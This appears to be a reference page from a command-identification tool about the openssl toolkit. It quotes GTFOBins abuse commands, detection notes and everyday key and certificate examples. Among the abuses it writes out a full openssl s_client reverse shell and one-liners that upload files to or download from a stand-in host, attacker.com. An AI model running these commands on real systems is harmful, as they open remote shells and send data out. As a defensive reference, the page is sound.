Identifier / Programs / Linux and Unix
openssl
OpenSSL cryptographic toolkit. Some subcommands such as req have their own usage documentation. tldr-pages
GTFOBins download, file-read, file-write, library-load, reverse-shell, upload 3 Sigma rules name it 3 ATT&CK techniques 7 documented commands
How openssl is abused
file-read
enc
-infile-write
enc
-outfile-write
enc
-in-outlibrary-load
req
-engineupload
s_client
-quiet-connectEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for openssl.
7 documented commands
download unprivileged, with sudo, as SUID
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-fileIdentifyfile-read unprivileged, with sudo, as SUID
openssl enc -in /path/to/input-fileIdentifyfile-write unprivileged, with sudo, as SUID
echo DATA | openssl enc -out /path/to/output-fileIdentifyfile-write unprivileged, with sudo, as SUID
openssl enc -in /path/to/input-file -out /path/to/output-fileIdentifylibrary-load unprivileged, with sudo, as SUID
openssl req -engine ./lib.soIdentifyreverse-shell unprivileged, with sudo, as SUID
The shell process is not spawn by openssl.
mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socketIdentifyupload unprivileged, with sudo, as SUID
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-fileIdentifyNone of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for openssl. The identifier reads the line of each that runs openssl.
What detects it
Everyday use
Generate a private key and encrypt the output file using AES-256
openssl genpkey -algorithm rsa -out path/to/private.key -aes256IdentifyGenerate the corresponding public key from the private key private.key using rsa
openssl rsa -in path/to/private.key -pubout -out path/to/public.keyIdentifyGenerate a self-signed certificate valid for a specified number of days (365)
openssl req -new -x509 -key path/to/private.key -out path/to/certificate.crt -days 365IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.